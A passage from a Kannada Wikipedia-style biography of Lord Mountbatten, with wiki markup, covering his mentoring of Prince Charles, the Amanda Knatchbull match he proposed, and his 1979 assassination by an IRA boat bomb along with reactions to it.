ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಇನ್‌ 1976, ಅಲ್ಲನ್‌ ವಾರ್ರೆನ್‌‌ ವಿರಚಿತ]] [[File:Loire Stained Glass.jpg|thumb|right|200px|ಕ್ರೈಸ್ಟ್‌ ಇನ್‌ ಟ್ರಯಂಫ್‌ ಓವರ್‌ ಡಾರ್ಕ್‌ನೆಸ್‌ ಅಂಡ್‌ ಎವಿಲ್‌ ಗೇಬ್ರಿಯೆಲ್‌ ಲಾಯಿರೆ (1982)ವಿರಚಿತ ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ಕೇಪ್‌ಟೌನ್ ನಗರದ St. ಜಾರ್ಜ್‌‌ಸ್‌ ಕೆಥಡ್ರಲ್‌ ಇಗರ್ಜಿಯಲ್ಲಿ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ನೆನಪಿಗಾಗಿ.]] ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ತನ್ನ ಸೋದರಸಂಬಂಧಿ ಮೊಮ್ಮಗ ವೇಲ್ಸ್‌‌ನ ರಾಜಕುಮಾರನ ಬೆಳೆಸುವಿಕೆಯಲ್ಲಿ ಹಾಗೂ ನಂತರ ಓರ್ವ ಸಲಹಾಕಾರನಾಗಿ ಆತನ ಜೀವನದಲ್ಲಿ ಬಹುಮಟ್ಟಿಗೆ ಪ್ರಭಾವ ಬೀರಿದ್ದರು — ಪ್ರಭುವಿನ ಜೀವನಚರಿತ್ರೆಯನ್ನು ಬರೆದಿದ್ದ ಜೋನಾಥನ್‌‌ ಡಿಂಬ್ಲೆಬಿಯ ಪ್ರಕಾರ ಅವರಿಬ್ಬರೂ ಪರಸ್ಪರರನ್ನು ಅಕ್ಕರೆಯಿಂದ "ಗೌರವಾನ್ವಿತ ಅಜ್ಜ " ಮತ್ತು "ಗೌರವಾನ್ವಿತ ಮೊಮ್ಮಗ"ಎಂದು ಸಂಬೋಧಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದರು — ಝೀಗ್ಲೆರ್‌‌ ವಿರಚಿತ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಜೀವನಚರಿತ್ರೆ ಹಾಗೂ ಡಿಂಬ್ಲೆಬಿ ವಿರಚಿತ ಪ್ರಭುವಿನ ಜೀವನಚರಿತ್ರೆಗಳೆರಡರ ಪ್ರಕಾರವೂ ಇದರಿಂದಾದ ಫಲಿತಗಳು ಮಿಶ್ರಿತವಾಗಿದ್ದವು. ತನ್ನ ಯೌವನಕಾಲದಿಂದಲೂ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನಿಗೆ ಬಹಳ ಪರಿಚಯವಿದ್ದ ವಿಂಡ್ಸರ್‌‌ನ ಡ್ಯೂಕ್‌ ಎಂದು ನಂತರ ಹೆಸರಾಗಿದ್ದ ವೇಲ್ಸ್‌‌ನ ಪ್ರಭು ಆತನ ಪೂರ್ವವರ್ತಿ ಮಹಾರಾಜ ಎಡ್ವರ್ಡ್‌ VIIIನು ಹೊಂದಿದ್ದ ವಿಶ್ರಾಮ ಸುಖವನ್ನು ನಿರೀಕ್ಷಿಸುವ/ಕಲಾಪ್ರೇಮದ ಗುಣಲಕ್ಷಣಗಳನ್ನು ತೋರ್ಪಡಿಸುತ್ತಿದ್ದೀಯೇ ಎಂದು ಆತನು ಕಾಲದಿಂದ ಕಾಲಕ್ಕೆ ರಾಜಕುಮಾರನನ್ನು ಜೋರಾಗಿಯೇ ಗದರಿಸುತ್ತಿದ್ದರು. ಆದರೂ ಆತ ರಾಜಕುಮಾರನನ್ನು ಅವಿವಾಹಿತ ಜೀವನವನ್ನು ಅನುಭವಿಸುವ ಸಂದರ್ಭದಲ್ಲಿ ಅನುಭವಿಸುವಂತೆ ಹಾಗೂ ಸ್ಥಿರ ದಾಂಪತ್ಯ ಜೀವನಕ್ಕಾಗಿ ಓರ್ವ ಯುವ ಹಾಗೂ ಅನುಭವರಹಿತ ಹುಡುಗಿಯನ್ನು ಮದುವೆಯಾಗುವಂತೆ ಉತ್ತೇಜನವನ್ನೂ ನೀಡುತ್ತಿದ್ದರು.<ref>{{Cite book| last = Junor| first = Penny| title = The Firm: the troubled life of the House of Windsor| url =https://books.google.com/?id=e_f6-ZPQuKAC&pg=PA72&lpg=PA72&dq=%22sow+his+wild+oats+and+have+as+many+affairs+as+he+can%22|accessdate = 2007-05-13| year = 2005| publisher = Thomas Dunne Books| location = New York| isbn =9780312352745| oclc = 59360110|page = 72|chapter = The Duty of an Heir}}</ref> ಈ ನಿರ್ದಿಷ್ಟ ಸಿಂಹಾಸನದ ಉತ್ತರಾಧಿಕಾರಿಗೆ ಸಲಹಾಕರನಾಗಿರುವುದಕ್ಕೆ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರಿಗಿದ್ದ ಅರ್ಹತೆಯು ಅನನ್ಯಸಾಧಾರಣವಾಗಿತ್ತು ; ಮಹಾರಾಜ ಜಾರ್ಜ್‌‌ VI ಮತ್ತು ರಾಣಿ ಎಲಿಜಬೆತ್‌‌‌ರನ್ನು ಡಾರ್ಟ್‌ಮೌತ್‌‌ ಬ್ರಿಟಿಷರ ನೌಕಾದಳೀಯ ಮಹಾವಿದ್ಯಾಲಯ/ರಾಯಲ್‌ ನೇವಲ್‌ ಕಾಲೇಜ್‌ಗೆ ೨೨ ಜುಲೈ ೧೯೩೯ರಂದು ನೀಡಿದ ಭೇಟಿಯನ್ನು ಆಯೋಜಿಸಿದ್ದು ಈತನೇ ಆಗಿದ್ದು, ಯುವ ರಾಜಕುಮಾರಿಯರಾದ ಎಲಿಜಬೆತ್‌‌‌ ಮತ್ತು ಮಾರ್ಗರೇಟ್‌‌ರ ಪ್ರಸ್ತಾಪವು ಆಹ್ವಾನದಲ್ಲಿರುವಂತೆ ಖಚಿತಪಡಿಸಿಕೊಳ್ಳುವ ಎಚ್ಚರಿಕೆಯನ್ನು ವಹಿಸಿ ನಂತರ ತನ್ನ ಸೋದರಸಂಬಂಧಿ ಗ್ರೀಸ್‌‌ನ ಕೆಡೆಟ್‌ ರಾಜಕುಮಾರ ಫಿಲಿಪ್‌ನನ್ನು ಅವರ ಪೋಷಕರು ವಿದ್ಯಾಲಯವನ್ನು ವೀಕ್ಷಿಸಲು ತೆರಳುವಾಗ ರಾಜಕುಮಾರಿಯನ್ನು ಹರ್ಷದಿಂದಿಡಲು ನೇಮಿಸಿದ್ದರು. ಇದು ಚಾರ್ಲ್ಸ್‌ನ ಭವಿಷ್ಯದ ಪೋಷಕರ ಪ್ರಥಮ ದಾಖಲಿತ ಭೇಟಿಯಾಗಿತ್ತು.<ref>{{Cite web| url = http://www.channel4.com/history/microsites/R/real_lives/prince_philip.html| title = The Real Prince Philip| accessdate = 2007-05-12| last = Edwards| first = Phil| date = 2000-10-31| format = TV documentary| work = Real Lives: channel 4's portrait gallery| publisher = Channel 4}}</ref> ಆದರೆ ಕೆಲವು ತಿಂಗಳುಗಳ ನಂತರ [[ಅಥೆನ್ಸ್|ಅಥೆನ್ಸ್‌]]ನಲ್ಲಿದ್ದ ಆತನ ಸಹೋದರಿ ಅಲೈಸ್‌‌ಳಿಂದ ಫಿಲಿಪ್‌ ತನ್ನನ್ನು ಭೇಟಿ ಮಾಡಲು ಬರುತ್ತಿದ್ದಾನೆ ಹಾಗೂ ಆತನು ಖಾಯಮ್ಮಾಗಿ ಗ್ರೀಸ್‌‌ಗೆ ಮರಳಲು ಸಮ್ಮತಿಸಿರುವುದಾಗಿ ತಿಳಿಸುವ ಪತ್ರವೊಂದನ್ನು ಪಡೆದಾಗ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಪ್ರಯತ್ನಗಳು ಬಹುಮಟ್ಟಿಗೆ ವ್ಯರ್ಥವೆನಿಸಿಕೊಳ್ಳುವ ಹಾಗಾಗಿತ್ತು. ಆದರೆ ಕೆಲವೇ ದಿನಗಳಲ್ಲಿ ಫಿಲಿಪ್‌ ತನ್ನ ಸೋದರ ಸಂಬಂಧಿ ಹಾಗೂ ಸಾಮಂತರಾಜ ಗ್ರೀಸ್‌‌ನ ಮಹಾರಾಜ ಜಾರ್ಜ್‌‌ IIರಿಂದ ಬ್ರಿಟನ್‌‌‌ನಲ್ಲಿನ ತನ್ನ ನೌಕಾದಳೀಯ ವೃತ್ತಿಜೀವನವನ್ನು ಮುಂದುವರೆಸುವಂತೆ ಆದೇಶ ಬಂದಾಗ ಅದಕ್ಕೆ ಯಾವುದೇ ವಿವರಣೆಯಿರದೇ ಹೋದರೂ ಯುವ ರಾಜಕುಮಾರ ಅದನ್ನು ಪಾಲಿಸಿದ್ದನು.<ref>{{Cite book|last=Vickers|first=Hugo|title=Alice, Princess Andrew of Greece|publisher=Hamish Hamilton|location=London|year=2000|isbn=0-241-13686-5|page=281}} </ref> ೧೯೭೪ರಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನು ತನ್ನ ಮೊಮ್ಮಗಳು Hon. ಅಮಂಡಾ ನಾಚ್‌ಬುಲ್‌‌ಳೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿವಾಹದ ಪ್ರಸ್ತಾಪದೊಂದಿಗೆ ಚಾರ್ಲ್ಸ್‌ರೊಡನೆ ಪತ್ರ ವ್ಯವಹಾರ ಆರಂಭಿಸಿದರು.<ref name="Dimbleby">{{Cite book| last=Dimbleby| first = Jonathan| authorlink = Jonathan Dimbleby| title = The Prince of Wales: A Biography| location = New York| publisher = William Morrow and Company| year = 1994| pages = 204–206|isbn =0-688-12996-X}}</ref> ಸರಿ ಸುಮಾರು ಇದೇ ಹೊತ್ತಿಗೆ ಆತನು ೨೫-ವರ್ಷಗಳ-ವಯಸ್ಸಿನ ರಾಜಕುಮಾರನಿಗೆ ಯೌವನದ ಸ್ವಚ್ಛಂದತೆಯನ್ನು ಅನುಭವಿಸಲು ಹುರಿದುಂಬಿಸಿದ.<ref name="Dimbleby" /> ತನ್ನ ವಿವಾಹದ ಬಗೆಗಿನ ಆಸಕ್ತಿಯ ಬಗ್ಗೆ ಅಮಂಡಾಳ ತಾಯಿ ಲೇಡಿ ಬ್ರಾಬೌರ್ನೆಳಿಗೆ (ಈಕೆಯು ಆತನ ಧರ್ಮಮಾತೆಯೂ ಆಗಿದ್ದಳು) ವಿಧೇಯವಾಗಿ ಚಾರ್ಲ್ಸ್‌ ಪತ್ರ ಬರೆದನು. ಆಕೆಯ ಉತ್ತರವು ಇದಕ್ಕೆ ಪೂರಕವಾಗಿಯೇ ಇತ್ತಾದರೂ, ಆತನಿಗೆ ತನ್ನ ಮಗಳು ಮದುವೆಯನ್ನು ಮಾಡಿಕೊಡುವುದಕ್ಕೆ ಸಾಕಷ್ಟು ಚಿಕ್ಕ ವಯಸ್ಸಿನವಳಾಗಿದ್ದಾಳೆಂದು ಭಾವಿಸಿರುವುದಾಗಿ ತಿಳಿಹೇಳಿದ್ದಳು.<ref name="JD">{{Cite book| last=Dimbleby| first = Jonathan| authorlink = Jonathan Dimbleby| title = The Prince of Wales: A Biography| location = New York| publisher = William Morrow and Company| year = 1994| pages = 263–265|isbn =0-688-12996-X}}</ref> ನಾಲ್ಕು ವರ್ಷಗಳ ನಂತರ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಚಾರ್ಲ್ಸ್‌ನ ೧೯೮೦ರ ಸಾಲಿನ ಭಾರತದ ಪ್ರವಾಸಕ್ಕೆ ಜೊತೆಗಾರರಾಗಿ ಹೋಗಲಿಕ್ಕೆ ತನಗೆ ಹಾಗೂ ಅಮಂಡಾಳಿಗೆ ಆಹ್ವಾನವನ್ನು ಸಂಪಾದಿಸಿಕೊಂಡಿದ್ದರು.<ref>{{Cite book| last=Dimbleby| first = Jonathan| authorlink = Jonathan Dimbleby| title = The Prince of Wales: A Biography| location = New York| publisher = William Morrow and Company| year = 1994| page = 263|isbn =0-688-12996-X}}</ref> ಅವರುಗಳ ತಂದೆಯಂದಿರು ಚುರುಕಾಗಿಯೇ ಇದಕ್ಕೆ ಆಕ್ಷೇಪವನ್ನೆತ್ತಿದರು. ಪ್ರಭು ಫಿಲಿಪ್‌ರು ಭಾರತದ ಜನತೆಯು ಸ್ವಾಗತವು ಸೋದರಮಾವನಿಗೆ ಸಂಬಂಧಿಸಿದ್ದಾಗಿರುತ್ತದೆಯೇ ಹೊರತು ಸೋದರಳಿಯನಿಗಲ್ಲ ಎಂದು ಭಾವಿಸಿದ್ದರು. ಲಾರ್ಡ್‌‌ ಬ್ರಾಬೌರ್ನೆರು ಆತನಿಗೆ ಪತ್ರಿಕೆಗಳ ತೀವ್ರಮಟ್ಟದ ಪರಾಮರ್ಶೆಯು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನ ಧರ್ಮಪುತ್ರ ಹಾಗೂ ಮೊಮ್ಮಗಳನ್ನು ಹೆಚ್ಚು ಪ್ರತ್ಯೇಕಿಸುವ ಸಾಧ್ಯತೆ ಹೆಚ್ಚಿರುತ್ತದೆಯೇ ಹೊರತು ಒಂದುಗೂಡಿಸುವ ಸಾಧ್ಯತೆಗಳು ಖಂಡಿತಾ ಇರೋದಿಲ್ಲ ಎಂದು ತಿಳಿಹೇಳಿದರು.<ref name="JD" /> ಭಾರತಕ್ಕೆ ಚಾರ್ಲ್ಸ್‌ ನೀಡಲಿರುವ ಭೇಟಿಯನ್ನು ಮತ್ತೊಮ್ಮೆ ಏಕಾಂಗಿಯಾಗಿ ಕೈಗೊಳ್ಳುವಂತೆ ಮರುನಿಗದಿಪಡಿಸಲಾಯಿತು, ಆದರೆ ಯೋಜಿತ ಬೀಳ್ಕೊಡುವ ದಿನಾಂಕದಂದು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಬದುಕಿ ಉಳಿದಿರಲಿಲ್ಲ. ಅಂತಿಮವಾಗಿ ೧೯೭೯ರಲ್ಲಿ ನಂತರ ಚಾರ್ಲ್ಸ್‌ ಅಮಂಡಾಳ ಮುಂದೆ ವಿವಾಹದ ಪ್ರಸ್ತಾಪವನ್ನಿಟ್ಟಾಗ ಪರಿಸ್ಥಿತಿಗಳು ದುಃಖಕರವಾಗಿ ಬದಲಾಗಿ ಆಕೆಯು ಆತನನ್ನು ನಿರಾಕರಿಸಿದ್ದಳು.<ref name="JD" /> ==ಕಿರುತೆರೆಯ ಮೇಲೆ ಕಾಣಿಸಿಕೊಂಡ ಕಾರ್ಯಕ್ರಮಗಳು== ೨೭ ಏಪ್ರಿಲ್‌ ೧೯೭೭ರಂದು ಆತನ ೭೭ನೆಯ ಜನ್ಮದಿನದ ಕೆಲವೇ ದಿನಗಳ ಮೊದಲು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ದಿಸ್‌ ಈಸ್‌ ಯುವರ್‌ ಲೈಫ್‌‌ ಎಂಬ TVಯ ಆಹ್ವಾನಿತರ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡ ಪ್ರಥಮ ರಾಜಕುಟುಂಬದ ವ್ಯಕ್ತಿಯಾದರು.<ref>{{Cite web |url=http://www.eofftv.com/t/thi/this_is_your_life_1969_main.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=6 ಮೇ 2011 |archive-date=22 ಏಪ್ರಿಲ್ 2012 |archive-url=https://web.archive.org/web/20120422082302/http://www.eofftv.com/t/thi/this_is_your_life_1969_main.htm |url-status=dead }}</ref> ==ಹತ್ಯೆ== ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಸಾಧಾರಣವಾಗಿ ತಮ್ಮ ವಿರಾಮದ ದಿನಗಳನ್ನು ಸ್ಲಿಗೋ ಕೌಂಟಿಯಲ್ಲಿನ ಮುಲ್ಲಾಘ್‌‌ಮೋರ್‌‌ನಲ್ಲಿನ ತನ್ನ ಬೇಸಿಗೆಯ ನಿವಾಸದಲ್ಲಿ ಕಳೆಯುತ್ತಿದ್ದರು. ಬುಂಡೋರನ್‌‌, ಕೌಂಟಿ ಡೊನೆಗಲ್‌ ಮತ್ತು ಸ್ಲಿಗೋ ಕೌಂಟಿಗಳ ಮಧ್ಯವಿರುವ ಅದೊಂದು ಸಣ್ಣ ಸಮುದ್ರ ಸನಿಹದ ಹಳ್ಳಿಯಾಗಿದ್ದು [[ಐರ್ಲೆಂಡ್|ಐರ್‌ಲೆಂಡ್‌‌]]ನ ವಾಯುವ್ಯ ಕರಾವಳಿಯ ಸ್ಲಿಗೋ ಕೌಂಟಿಗೆ ಸೇರಿದ್ದುದಾಗಿತ್ತು. ಬುಂಡೋರನ್‌‌ ಪಟ್ಟಣವು IRAಯ ಸ್ವಯಂಸೇವಾ ಸೈನಿಕರ ಜನಪ್ರಿಯ ವಿರಾಮ ತಾಣವಾಗಿದ್ದು, ಅವರಲ್ಲಿ ಹಲವರು ಮುಲ್ಲಾಘ್‌‌ಮೋರ್‌‌ನಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಇರುವಿಕೆ ಹಾಗೂ ಅವರ ಚಲನವಲನಗಳ ಬಗ್ಗೆ ತಿಳಿದಿರುವರಾಗಿರುತ್ತಿದ್ದರು.{{Citation needed|date=December 2009}} ಗರ್ಡಾ ಸಿಯೋಚಾನಾದ ಸುರಕ್ಷತೆಯ ಬಗೆಗಿನ ಸಲಹೆ ಹಾಗೂ ಎಚ್ಚರಿಕೆಗಳನ್ನು ಲೆಕ್ಕಿಸದೇ ೨೭ ಆಗಸ್ಟ್‌‌ ೧೯೭೯ರಂದು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಮುಲ್ಲಾಘ್‌‌ಮೋರ್‌‌ನಲ್ಲಿದ್ದ ಬಂದರಿನಲ್ಲಿ ಲಂಗರು ಹಾಕಿದ್ದ ''ಷ್ಯಾಡೋ V'' ಎಂಬ ಮೂವತ್ತು ಅಡಿಗಳಷ್ಟು (೧೦ m) ದೊಡ್ಡ ಮರದ ದೋಣಿಯಲ್ಲಿ ಕಡಲನಳ್ಳಿಗಳ ಬೇಟೆಗೆ ಹಾಗೂ ಟ್ಯೂನಾ ಮೀನುಗಳನ್ನು ಹಿಡಿಯುವ ಉದ್ದೇಶದಿಂದ ಕಡಲಿಗಿಳಿದರು. ಥಾಮಸ್‌ ಮೆಕ್‌ಮೋಹನ್‌‌ ಎಂಬ ಓರ್ವ IRA ಸದಸ್ಯ ರಕ್ಷಣಾರಹಿತವಾದ ದೋಣಿಗೆ ಆ ರಾತ್ರಿಯಲ್ಲಿ ನುಸುಳಿದ ನಂತರ ರೇಡಿಯೋ ನಿಯಂತ್ರಣವನ್ನು ಹೊಂದಿದ್ದ ಐವತ್ತು ಪೌಂಡ್‌ಗಳ (೨೩ kg) ತೂಕದ ಬಾಂಬ್‌ಅನ್ನು ದೋಣಿಗೆ ಅಳವಡಿಸಿದ. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ದೋಣಿಯ ಮೇಲೆ ಡೊನೆಗಲ್‌ ಕೊಲ್ಲಿಗೆ ಹೋಗುವ ಮಾರ್ಗದಲ್ಲಿದ್ದಾಗ ಓರ್ವ ಅಪರಿಚಿತ ವ್ಯಕ್ತಿ ತೀರದಿಂದಲೇ ಬಾಂಬ್‌‌ಅನ್ನು ಸ್ಫೋಟಿಸಿದ. ತ್ವರಿತವಾಗಿಯೇ ಲಾಂಗ್‌ಫೋರ್ಡ್‌‌ ಹಾಗೂ ಗ್ರನಾರ್ಡ್‌ಗಳ ನಡುವಿನ ಗರ್ಡಾ ತಪಾಸಣಾ ಕೇಂದ್ರದ ಬಳಿ ಮೆಕ್‌ಮೋಹನ್‌‌ನನ್ನು ಸೆರೆಹಿಡಿಯಲಾಯಿತು. ಆ ವೇಳೆಗೆ ೭೯ ವರ್ಷದವರಾಗಿದ್ದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಗಂಭೀರವಾಗಿ ಗಾಯಗೊಂಡು, ಸ್ಫೋಟವಾದ ಸ್ವಲ್ಪ ಹೊತ್ತಿನಲ್ಲಿಯೇ ಪ್ರಜ್ಞೆ ಕಳೆದುಕೊಂಡಿದ್ದಾಗ ಕೊಲ್ಲಿಯಲ್ಲಿ ಮುಳುಗಿ ಮರಣಿಸಿದರು. ಈ ಸ್ಫೋಟದಲ್ಲಿ ಸಾವನ್ನಪ್ಪಿದ ಇತರರಲ್ಲಿ ಆತನ ಹಿರಿಯ ಪುತ್ರಿಯ ೧೪-ವರ್ಷಗಳ ಪುತ್ರ ನಿಕೋಲಸ್‌‌‌‌ ನ್ಯಾಚ್‌ಬುಲ್‌, ; ದೋಣಿಯ ಸಿಬ್ಬಂದಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದ ೧೫-ವರ್ಷಗಳ ವಯಸ್ಸಿನ ಫರ್ಮನಾಘ್‌ ಕೌಂಟಿಯ ಪಾಲ್‌ ಮ್ಯಾಕ್ಸ್‌ವೆಲ್‌ ; ಹಾಗೂ ಆತನ ಹಿರಿಯ ಪುತ್ರಿಯ, ೮೩-ವರ್ಷಗಳ ವಯೋವೃದ್ಧೆ ಅತ್ತೆ ಬಾರೊನೆಸ್‌ ಬ್ರಾಬೌರ್ನೆ ಸೇರಿದ್ದಾರೆ ಈಕೆ ಸ್ಫೋಟದಲ್ಲಿ ತೀವ್ರವಾಗಿ ಗಾಯಗೊಂಡು ಮರುದಿನ ಗಾಯಗಳಿಂದಾಗಿ ಮರಣಿಸಿದ್ದರು.<ref>ಪ್ಯಾಟನ್‌ , ಅಲಿಸನ್‌ , "ಬ್ರಾಡ್‌ಲ್ಯಾಂಡ್ಸ್‌‌ : ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ಸ್ ಕಂಟ್ರಿ ಹೋಮ್‌ ," ''ಬ್ರಿಟಿಷ್‌‌ ಹೆರಿಟೇಜ್‌'' ಮಾರ್ಚ್‌ ೨೦೦೫, Vol. ೨೬ ಸಂಚಿಕೆ ೧, pp. ೧೪-೧೭.</ref> ನಿಕೋಲಸ್‌‌‌‌ ನ್ಯಾಚ್‌ಬುಲ್‌ನ ತಾಯಿ ಮತ್ತು ತಂದೆ ಆತನ ಅವಳಿ ಸಹೋದರ ಟಿಮೊತಿಯೊಂದಿಗೆ ಸ್ಫೋಟದಿಂದ ಪಾರಾದರೂ ತೀವ್ರವಾಗಿ ಗಾಯಗೊಂಡಿದ್ದರು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸಾವಿನ ಬಗ್ಗೆ ಸಿನ್ನ್‌ ಫೇಯ್ನ್‌ನ ಉಪಾಧ್ಯಕ್ಷ ಗೆರ್ರಿ ಆಡಮ್ಸ್‌ ಹೀಗೆ ಹೇಳಿದ್ದರು: <blockquote>IRAಯು ಮರಣದಂಡನೆ ವಿಧಿಸಿದುದಕ್ಕೆ ಸ್ಪಷ್ಟ ಕಾರಣಗಳನ್ನು ನೀಡಿತ್ತು. ಯಾವುದೇ ವ್ಯಕ್ತಿಯು ಹತ್ಯೆಗೊಳಗಾಗುವುದು ದುರದೃಷ್ಟಕರವೆಂದೇ ನಾನೂ ಭಾವಿಸುತ್ತೇನೆ ಆದರೆ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸಾವಿನಿಂದ ರೂಪುಗೊಳ್ಳುತ್ತಿರುವ ಕೋಲಾಹಲವು ಮಾಧ್ಯಮ ಸಂಸ್ಥೆಗಳ ಬೂಟಾಟಿಕೆಯ ಪ್ರವೃತ್ತಿಯನ್ನು ಎತ್ತಿ ತೋರಿಸುತ್ತದೆ. ಹೌಸ್‌ ಆಫ್‌ ಲಾರ್ಡ್ಸ್‌ನ ಓರ್ವ ಸದಸ್ಯರಾಗಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಬ್ರಿಟಿಷ್‌‌ ಹಾಗೂ ಐರ್‌ಲೆಂಡ್‌ಗಳೆರಡರ ರಾಜಕೀಯದಲ್ಲಿಯೂ ಭಾವಾವೇಶವನ್ನು ಉಕ್ಕಿಸುವ ವ್ಯಕ್ತಿಯಾಗಿದ್ದರು. IRAಯು ಆತನೊಂದಿಗೆ ವ್ಯವಹರಿಸಿದ ರೀತಿಯಲ್ಲಿಯೇ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ತನ್ನ ಜೀವನದ ಕೊನೆಯವರೆಗೂ ಇತರ ಜನರೊಂದಿಗೆ ವ್ಯವಹರಿಸುತ್ತಿದ್ದರು; ಹಾಗೂ ಆತನ ಯುದ್ಧೋತ್ಸಾಹವನ್ನು ಪರಿಗಣಿಸಿದರೆ ಸ್ಪಷ್ಟವಾಗಿ ಯುದ್ಧದ ಪರಿಸ್ಥಿತಿಯಲ್ಲಿ ಸಾವನ್ನಪ್ಪುವ ಬಗ್ಗೆ ಆತನಿಗೆ ಆಕ್ಷೇಪವಿರುತ್ತಿರಲಿಲ್ಲ ಎಂದೇ ಭಾವಿಸುವೆ. ಈ ರಾಷ್ಟ್ರಕ್ಕೆ ಬಂದರೆ ತನಗೆ ಅಪಾಯವಿರುವುದಾಗಿ ಆತನಿಗೆ ತಿಳಿದಿತ್ತು. ನನ್ನ ಅಭಿಪ್ರಾಯದ ಪ್ರಕಾರ IRAಯು ತನ್ನ ಉದ್ದೇಶವನ್ನು ಸಾಧಿಸಿಕೊಂಡಿದೆ : ಐರ್‌ಲೆಂಡ್‌‌ನಲ್ಲಿನ ಬೆಳವಣಿಗೆಗಳೆಡೆ ಜನರು ತಮ್ಮ ಗಮನವನ್ನು ಹರಿಸಲಾರಂಭಿಸಿದ್ದಾರೆ.<ref name="time">{{Cite news | title = It is "Clearly a War Situation" | author = Louisa Wright | url = http://www.time.com/time/magazine/article/0,9171,948791-1,00.html | publisher = ''[[Time (magazine)|TIME]]'' | date = 19 November 1979 | accessdate = 2007-09-02 | archive-date = 23 ಮೇ 2011 | archive-url = https://web.archive.org/web/20110523101614/http://www.time.com/time/magazine/article/0,9171,948791-1,00.html | url-status = dead }}</ref></blockquote> ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಹತ್ಯೆ ಮಾಡಿದ ದಿನದಂದೇ ಕೌಂಟಿ ಡೌನ್‌ ಬಳಿಯ ವಾರ್ರೆನ್‌ಪಾಯಿಂಟ್‌ನಲ್ಲಿ IRAಯು ವಾರ್ರೆನ್‌ಪಾಯಿಂಟ್‌ ಹೊಂಚುದಾಳಿ ಎಂದೇ ಪ್ರಸಿದ್ಧವಾದ ಕಾರ್ಯಾಚರಣೆಯ ಮೂಲಕ ಹದಿನೆಂಟು ಮಂದಿ ಬ್ರಿಟಿಷ್‌‌ ಸೇನಾಪಡೆಯ ಸೈನಿಕರ ಮೇಲೆ ಹೊಂಚುದಾಳಿ ನಡೆಸಿ ಕೊಂದು ಹಾಕಿತು ಅವರಲ್ಲಿ ಹದಿನಾರು ಮಂದಿ ಪ್ಯಾರಾಚ್ಯೂಟ್‌ ರೆಜಿಮೆಂಟ್‌ಗೆ ಸೇರಿದವರಾಗಿದ್ದರು. ನಿರ್ದಿಷ್ಟವಾಗಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸಾವನ್ನು ಬಹಳ ಕಷ್ಟಕರವೆಂದು ಭಾವಿಸಿದ್ದ ಪ್ರಭು ಚಾರ್ಲ್ಸ್‌ ತನ್ನ ಸ್ನೇಹಿತರ ಬಳಿ ತನ್ನ ಸಲಹಾಕಾರರನ್ನು ಕಳೆದುಕೊಂಡ ನಂತರ ತನ್ನ ಜೀವನವು ಮೊದಲಿನಷ್ಟು ಸುರಳೀತವಾಗಿರುತ್ತಿಲ್ಲ ಎಂದು ಅಳಲು ತೋಡಿಕೊಂಡಿದ್ದರು.<ref>''ರಾಯಲ್‌'' ರಾಬರ್ಟ್‌ ಲೇಸೆರಿಂದ, ೨೦೦೨.</ref> ಇದಾದ ನಂತರ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಅಂತಿಮವಾದ ಐರ್‌ಲೆಂಡ್‌‌ನ ಏಕೀಕರಣದ ಕಡೆಗೆ ಒಲವನ್ನು ಹೊಂದಿದ್ದರು ಎಂದು ತಿಳಿದುಬಂದಿದೆ.<ref>{{Cite web|author=BBQs warning |url=http://www.herald.ie/entertainment/tv-radio/killing-that-changed-the-course-of-history-1862633.html |title=Killing that changed the course of history - TV & Radio, Entertainment |publisher=Herald.ie |date= |accessdate=2010-06-22}}</ref><ref>{{Cite news| url=https://www.theguardian.com/politics/2007/dec/29/uk.past | work=The Guardian | location=London | title=Royal blown up by IRA 'backed united Ireland' | first=Henry | last=McDonald | date=29 December 2007 | accessdate=11 May 2010}}</ref> ==ಅಂತ್ಯಕ್ರಿಯೆ== [[File:Mountbatten's grave at Romsey Abbey.JPG|thumb|ರಾಮ್ಸೆ ಇಗರ್ಜಿಯಲ್ಲಿರುವ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸಮಾಧಿ]] ಐರ್‌ಲೆಂಡ್‌‌ನ ಅಧ್ಯಕ್ಷ ಪ್ಯಾಟ್ರಿಕ್‌ ಹಿಲೆರಿ ಹಾಗೂ ಐರಿಷ್‌ ಗಣರಾಜ್ಯದ ಪ್ರಧಾನಮಂತ್ರಿ ಜ್ಯಾಕ್‌ ಲಿಂಚ್‌ 